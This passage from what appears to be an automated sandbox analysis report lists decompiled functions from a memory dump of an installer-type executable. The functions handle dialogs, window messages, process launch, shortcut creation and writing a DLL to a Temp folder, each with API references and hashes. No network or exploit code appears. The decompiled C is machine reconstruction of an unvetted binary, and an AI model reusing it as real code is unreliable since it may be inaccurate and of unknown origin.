				if(_t46 < 0x400) {
					_t34 = 0xffffffde;
				}
				if(_t46 < 0xffff3333) {
					_t39 = 0x14;
					asm("cdq");
					_t46 = _t46 + 1 / _t39;
				}
				_push(E004059FF(_t34, 0, _t46,  &_v36, 0xffffffdf));
				_push(E004059FF(_t34, 0, _t46,  &_v68, _t34));
				_t21 = _t46 & 0x00ffffff;
				_t36 = 0xa;
				_push(((_t46 & 0x00ffffff) + _t21 * 4 + (_t46 & 0x00ffffff) + _t21 * 4 >> 0) % _t36);
				_push(_t46 >> 0);
				_t26 = E004059FF(_t34, 0, 0x420478, 0x420478, _a8);
				wsprintfA(_t26 + lstrlenA(0x420478), "%u.%u%s%s");
				return SetDlgItemTextA( *0x423658, _a4, 0x420478);
			}

APIs

lstrlenA.KERNEL32(00420478,00420478,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404488,000000DF,0000040F,00000400,00000000), ref: 004045F6
wsprintfA.USER32 ref: 004045FE
SetDlgItemTextA.USER32 ref: 00404611

Strings

%u.%u%s%s, xrefs: 004045E0

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 1fe6c35c0a5c12af0758eda6fcd91f800dae708434e3b464b1985a7a483ce98e
Instruction ID: de100ae33fd703a766e80fabf1c0ef7e237f6bef08e04a4196497c65211e5d03
Opcode Fuzzy Hash: 1fe6c35c0a5c12af0758eda6fcd91f800dae708434e3b464b1985a7a483ce98e
Instruction Fuzzy Hash: 331104B370012477DB10666D9C05EAF329DDBC6334F14023BFA2AF61D1E9388C1186E8

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BAD() {
				signed int _t28;
				CHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 0x34) = E004029D9(3);
				 *(_t55 + 8) = E004029D9(4);
				if(( *(_t55 - 0x10) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x34)) = E004029F6(0x33);
				}
				__eflags =  *(_t55 - 0x10) & 0x00000002;
				if(( *(_t55 - 0x10) & 0x00000002) != 0) {
					 *(_t55 + 8) = E004029F6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E004029F6();
					_t28 = E004029F6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExA( *(_t55 - 0x34),  *(_t55 + 8), _t31,  ~( *_t28) & _t28);
					goto L10;
				} else {
					_t52 = E004029D9();
					_t37 = E004029D9();
					_t48 =  *(_t55 - 0x10) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8));
						L10:
						 *(_t55 - 8) = _t32;
					} else {
						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8), _t42, _t48, _t55 - 8);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x24)) - _t42;
				if( *((intOrPtr*)(_t55 - 0x24)) >= _t42) {
					_push( *(_t55 - 8));
					E0040593B();
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C0D
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a21e9fedaf10b3d0faf8ff8eb7872d1ba6ab3a41dfe2fcd52b90142743086bd6
Instruction ID: 089b6e11c3ee5c2ceb15467343933f82bc3488a694e04e66c57418204d538f9a
Opcode Fuzzy Hash: a21e9fedaf10b3d0faf8ff8eb7872d1ba6ab3a41dfe2fcd52b90142743086bd6
Instruction Fuzzy Hash: B321C4B1A44209BFEF01AFB4CE4AAAE7B75EF40344F14053EF602B60D1D6B84980E718

Uniqueness

Uniqueness Score: -1.00%

Function 0040523D, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040523D(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x422480->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0, 0x422480,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405246
0x00405262
0x0040526a
0x0040526f
0x00000000
0x00405275
0x00405279

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422480,Error launching installer), ref: 00405262
CloseHandle.KERNEL32(?), ref: 0040526F

Strings

Error launching installer, xrefs: 00405250
C:\Users\user\AppData\Local\Temp\, xrefs: 0040523D

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateHandleProcess
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
API String ID: 3712363035-4043152584
Opcode ID: 1f2f9ff3088062fdf2c67fe66ccdb0f341c5896b9e6aafa6ba1adbb34377fffc
Instruction ID: 0a3d69d2a3401d9d63374a1600280413a6fd3692a6ba6d2da32d4f839eaa01ec
Opcode Fuzzy Hash: 1f2f9ff3088062fdf2c67fe66ccdb0f341c5896b9e6aafa6ba1adbb34377fffc
Instruction Fuzzy Hash: BEE0E674A1010ABBDB00EF64DD09D6B7B7CFB00304B408621E911E2150D774E4108A79

Uniqueness

Uniqueness Score: -1.00%

Function 004054D0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054D0(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409010);
				}
				return _t7;
			}

0x004054d1
0x004054e8
0x004054f0
0x004054f0
0x004054f8

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030B5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004054D6
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030B5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004054DF
lstrcatA.KERNEL32(?,00409010), ref: 004054F0

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004054D0

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction ID: 18d73bba3a4f2c077241afd2b81ba446c35da1b9bd2d8ef2eba9fb39a34af30a
Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction Fuzzy Hash: 09D0A7B2505970AED20126195C05FCF2A08CF023117044423F640B21D2C63C5C819BFD

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5, Relevance: 6.1, APIs: 4, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401EC5(char __ebx, char* __edi, char* __esi) {
				char* _t18;
				int _t19;
				void* _t30;

				_t18 = E004029F6(0xffffffee);
				 *(_t30 - 0x2c) = _t18;
				_t19 = GetFileVersionInfoSizeA(_t18, _t30 - 0x30);
				 *__esi = __ebx;
				 *(_t30 - 8) = _t19;
				 *__edi = __ebx;
				 *((intOrPtr*)(_t30 - 4)) = 1;
				if(_t19 != __ebx) {
					__eax = GlobalAlloc(0x40, __eax);
					 *(__ebp + 8) = __eax;
					if(__eax != __ebx) {
						if(__eax != 0) {
							__ebp - 0x44 = __ebp - 0x34;
							if(VerQueryValueA( *(__ebp + 8), 0x409010, __ebp - 0x34, __ebp - 0x44) != 0) {
								 *(__ebp - 0x34) = E0040593B(__esi,  *((intOrPtr*)( *(__ebp - 0x34) + 8)));
								 *(__ebp - 0x34) = E0040593B(__edi,  *((intOrPtr*)( *(__ebp - 0x34) + 0xc)));
								 *((intOrPtr*)(__ebp - 4)) = __ebx;
							}
						}
						_push( *(__ebp + 8));
						GlobalFree();
					}
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
VerQueryValueA.VERSION(?,00409010,?,?,?,?,?,00000000), ref: 00401F24

Part of subcall function 0040593B: wsprintfA.USER32 ref: 00405948

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: f9744f7992f8663f166aa538b3da0bee02a0a5d08582e8cd95fa90b08a46e0f1
Instruction ID: 4f4abe4324f754641e01f0e672b51484e064b7e428c6eed24e296c4d37409401
Opcode Fuzzy Hash: f9744f7992f8663f166aa538b3da0bee02a0a5d08582e8cd95fa90b08a46e0f1
Instruction Fuzzy Hash: 5F114CB2901109BFDB01EFA5D981DAEBBB9EF04354B20803AF501F61E1D7389A55DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401D1B() {
				void* __esi;
				int _t6;
				signed char _t11;
				struct HFONT__* _t14;
				void* _t18;
				void* _t24;
				void* _t26;
				void* _t28;

				_t6 = GetDeviceCaps(GetDC( *(_t28 - 0x34)), 0x5a);
				0x40af54->lfHeight =  ~(MulDiv(E004029D9(2), _t6, 0x48));
				 *0x40af64 = E004029D9(3);
				_t11 =  *((intOrPtr*)(_t28 - 0x14));
				 *0x40af6b = 1;
				 *0x40af68 = _t11 & 0x00000001;
				 *0x40af69 = _t11 & 0x00000002;
				 *0x40af6a = _t11 & 0x00000004;
				E004059FF(_t18, _t24, _t26, 0x40af70,  *((intOrPtr*)(_t28 - 0x20)));
				_t14 = CreateFontIndirectA(0x40af54);
				_push(_t14);
				_push(_t26);
				E0040593B();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t28 - 4));
				return 0;
			}

0x00401d29
0x00401d42
0x00401d4c
0x00401d51
0x00401d5c
0x00401d63
0x00401d75
0x00401d7b
0x00401d80
0x00401d8a
0x004024b8
0x00401561
0x00402833
0x0040288e
0x0040289a

APIs

GetDC.USER32(?), ref: 00401D22
GetDeviceCaps.GDI32(00000000), ref: 00401D29
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
CreateFontIndirectA.GDI32(0040AF54), ref: 00401D8A

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID:
API String ID: 3272661963-0
Opcode ID: 78f79da71c4801185515a33ee10eecec6988933ac577fdebba6a0d8b1e27de8a
Instruction ID: 822a585a95499be2ccb46a886614a983d19f7779af01092212c1c8a44adbdb5d
Opcode Fuzzy Hash: 78f79da71c4801185515a33ee10eecec6988933ac577fdebba6a0d8b1e27de8a
Instruction Fuzzy Hash: 80F04FF1A49742AEE70167B0AE0AB9A3B659719306F14043AF242BA1E2C5BC0454DB7F

Uniqueness

Uniqueness Score: -1.00%

Function 00402BBE, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BBE(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x417020; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x423e8c;
						if(_t2 >  *0x423e8c) {
							_t3 = CreateDialogParamA( *0x423e80, 0x6f, 0, E00402B3B, 0);
							 *0x417020 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00405D38(0);
					}
				} else {
					_t6 =  *0x417020; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x417020 = 0;
					return _t6;
				}
			}

APIs

DestroyWindow.USER32(00000000,00000000,00402D9E,00000001), ref: 00402BD1
GetTickCount.KERNEL32 ref: 00402BEF
CreateDialogParamA.USER32(0000006F,00000000,00402B3B,00000000), ref: 00402C0C
ShowWindow.USER32(00000000,00000005), ref: 00402C1A

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: bf07767b331bb76d3b5a2f8e5622a218379b171e4cdb58aec93dcc8b8375aee9
Instruction ID: f2d052a30a3472248e345e5832336eca953f0b1533712f6c56216133e551431f
Opcode Fuzzy Hash: bf07767b331bb76d3b5a2f8e5622a218379b171e4cdb58aec93dcc8b8375aee9
Instruction Fuzzy Hash: 2AF0DA31D09320ABC661AF14FD4CADB7B75BB09B127014936F101B52E8D77868818BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00402020, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134
comCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00402020() {
				void* _t44;
				intOrPtr* _t48;
				intOrPtr* _t50;
				intOrPtr* _t52;
				intOrPtr* _t54;
				signed int _t58;
				intOrPtr* _t59;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t69;
				intOrPtr* _t71;
				int _t75;
				signed int _t81;
				intOrPtr* _t88;
				void* _t95;
				void* _t96;
				void* _t100;

				 *(_t100 - 0x30) = E004029F6(0xfffffff0);
				_t96 = E004029F6(0xffffffdf);
				 *((intOrPtr*)(_t100 - 0x2c)) = E004029F6(2);
				 *((intOrPtr*)(_t100 - 8)) = E004029F6(0xffffffcd);
				 *((intOrPtr*)(_t100 - 0x44)) = E004029F6(0x45);
				if(E0040553D(_t96) == 0) {
					E004029F6(0x21);
				}
				_t44 = _t100 + 8;
				__imp__CoCreateInstance(0x407384, _t75, 1, 0x407374, _t44);
				if(_t44 < _t75) {
					L13:
					 *((intOrPtr*)(_t100 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t48 =  *((intOrPtr*)(_t100 + 8));
					_t95 =  *((intOrPtr*)( *_t48))(_t48, 0x407394, _t100 - 0x34);
					if(_t95 >= _t75) {
						_t52 =  *((intOrPtr*)(_t100 + 8));
						_t95 =  *((intOrPtr*)( *_t52 + 0x50))(_t52, _t96);
						_t54 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t54 + 0x24))(_t54, "C:\\Users\\engineer\\AppData\\Local\\Temp");
						_t81 =  *(_t100 - 0x14);
						_t58 = _t81 >> 0x00000008 & 0x000000ff;
						if(_t58 != 0) {
							_t88 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t88 + 0x3c))(_t88, _t58);
							_t81 =  *(_t100 - 0x14);
						}
						_t59 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t59 + 0x34))(_t59, _t81 >> 0x10);
						if( *((intOrPtr*)( *((intOrPtr*)(_t100 - 8)))) != _t75) {
							_t71 =  *((intOrPtr*)(_t100 + 8));
							 *((intOrPtr*)( *_t71 + 0x44))(_t71,  *((intOrPtr*)(_t100 - 8)),  *(_t100 - 0x14) & 0x000000ff);
						}
						_t62 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t62 + 0x2c))(_t62,  *((intOrPtr*)(_t100 - 0x2c)));
						_t64 =  *((intOrPtr*)(_t100 + 8));
						 *((intOrPtr*)( *_t64 + 0x1c))(_t64,  *((intOrPtr*)(_t100 - 0x44)));
						if(_t95 >= _t75) {
							_t95 = 0x80004005;
							if(MultiByteToWideChar(_t75, _t75,  *(_t100 - 0x30), 0xffffffff, 0x409348, 0x400) != 0) {
								_t69 =  *((intOrPtr*)(_t100 - 0x34));
								_t95 =  *((intOrPtr*)( *_t69 + 0x18))(_t69, 0x409348, 1);
							}
						}
						_t66 =  *((intOrPtr*)(_t100 - 0x34));
						 *((intOrPtr*)( *_t66 + 8))(_t66);
					}
					_t50 =  *((intOrPtr*)(_t100 + 8));
					 *((intOrPtr*)( *_t50 + 8))(_t50);
					if(_t95 >= _t75) {
						_push(0xfffffff4);
					} else {
						goto L13;
					}
				}
				E00401423();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t100 - 4));
				return 0;
			}

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402073
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409348,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040212D

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004020AB

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-1104044542
Opcode ID: 71453fb45c89770e4f5e9780d50359adef83bdbe6145f3bfd3e7a5e9e412efc0
Instruction ID: ce0b4858a9f81ea3ddc308d80d774a06bef6b406c5dcff46aa6a4b0d76e862c7
Opcode Fuzzy Hash: 71453fb45c89770e4f5e9780d50359adef83bdbe6145f3bfd3e7a5e9e412efc0
Instruction Fuzzy Hash: AE418E75A00205BFCB40DFA4CD88E9E7BBABF48354B204269FA15FB2D1CA799D41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00404CCB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CCB(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t22;

				if(_a8 != 0x102) {
					if(_a8 != 0x200) {
						_t22 = _a16;
						L7:
						if(_a8 == 0x419 &&  *0x420460 != _t22) {
							 *0x420460 = _t22;
							E004059DD(0x420478, 0x424000);
							E0040593B(0x424000, _t22);
							E0040140B(6);
							E004059DD(0x424000, 0x420478);
						}
						L11:
						return CallWindowProcA( *0x420468, _a4, _a8, _a12, _t22);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t22 = _a16;
						goto L11;
					}
					_t22 = E0040464A(_a4, 1);
					_a8 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00403DDB(0x413);
				return 0;
			}

APIs

IsWindowVisible.USER32(?), ref: 00404D01
CallWindowProcA.USER32 ref: 00404D6F

Part of subcall function 00403DDB: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404CD9

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 7ef91977e0255b1fc34b6530065b048aeb6426da5fc65d298478046c2303bded
Instruction ID: 2250b5ae86c5db7695da18b81197a994f129f58ca555af08ca8730d1192fac1c
Opcode Fuzzy Hash: 7ef91977e0255b1fc34b6530065b048aeb6426da5fc65d298478046c2303bded
Instruction Fuzzy Hash: 5A118CB1600208BBDF217F629C4099B3B69EF84765F00813BFB14392A2C77C8951CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004024BE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
filestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004024BE(struct _OVERLAPPED* __ebx, intOrPtr* __esi) {
				int _t5;
				long _t7;
				struct _OVERLAPPED* _t11;
				intOrPtr* _t15;
				void* _t17;
				int _t21;

				_t15 = __esi;
				_t11 = __ebx;
				if( *((intOrPtr*)(_t17 - 0x1c)) == __ebx) {
					_t7 = lstrlenA(E004029F6(0x11));
				} else {
					E004029D9(1);
					 *0x409f50 = __al;
				}
				if( *_t15 == _t11) {
					L8:
					 *((intOrPtr*)(_t17 - 4)) = 1;
				} else {
					_t5 = WriteFile(E00405954(_t17 + 8, _t15), "C:\Users\engineer\AppData\Local\Temp\nsmBB29.tmp\System.dll", _t7, _t17 + 8, _t11);
					_t21 = _t5;
					if(_t21 == 0) {
						goto L8;
					}
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024DC
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsmBB29.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 004024FB

Strings

C:\Users\user\AppData\Local\Temp\nsmBB29.tmp\System.dll, xrefs: 004024CA, 004024EF

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406377332.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406384203.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsmBB29.tmp\System.dll
API String ID: 427699356-2221589062
Opcode ID: df474f2c717a3cfcee664a55503633412dfe168159680f8467c13f76ba73a4c8
Instruction ID: 28baf68bc3b2ef7cd727d17ca875bc327529d04ff6cae4c8aacaeccaaba980a4
Opcode Fuzzy Hash: df474f2c717a3cfcee664a55503633412dfe168159680f8467c13f76ba73a4c8
Instruction Fuzzy Hash: 5AF0B4B2A04241FBDB40BBA09E49AAE37689B00348F10443BA206F51C2D6BC4982A76D

Uniqueness

Uniqueness Score: -1.00%

Function 00404E4D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32
comCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00404E4D(signed int __eax) {
				intOrPtr _v0;
				intOrPtr _t8;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr* _t12;

				_t11 =  *0x423ea8; // 0x5de34c
				_t10 =  *0x423eac; // 0x4
				__imp__OleInitialize(0);
				 *0x423f38 =  *0x423f38 | __eax;
				E00403DDB(0);
				if(_t10 != 0) {
					_t12 = _t11 + 0xc;
					do {
						_t10 = _t10 - 1;
						if(( *(_t12 - 4) & 0x00000001) == 0) {
							goto L4;
						} else {
							_push(_v0);
							if(E00401389( *_t12) != 0) {
								 *0x423f0c =  *0x423f0c + 1;
							} else {
								goto L4;
							}
						}
						goto L7;
						L4:
						_t12 = _t12 + 0x418;
					} while (_t10 != 0);
				}
				L7:
				E00403DDB(0x404);
				__imp__OleUninitialize();
				_t8 =  *0x423f0c; // 0x0
				return _t8;
			}

0x00404e4e
0x00404e55
0x00404e5d
0x00404e63
0x00404e6b
0x00404e72
0x00404e74
0x00404e77
0x00404e77
0x00404e7c
0x00000000
0x00404e7e
0x00404e7e
0x00404e8b
0x00404e99
0x00000000
0x00000000
0x00000000
0x00404e8b
0x00000000
0x00404e8d
0x00404e8d
0x00404e93
0x00404e97
0x00404e9f
0x00404ea4
0x00404ea9
0x00404eaf
0x00404eb6

APIs

OleInitialize.OLE32(00000000), ref: 00404E5D

Part of subcall function 00403DDB: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 00404EA9

Strings

L], xrefs: 00404E4E

Memory Dump Source

Source File: 00000007.00000002.406341383.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.406335012.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406351818.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.406359323.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.406371296.0000000000422000.00000004.00020000.sdmp Download File
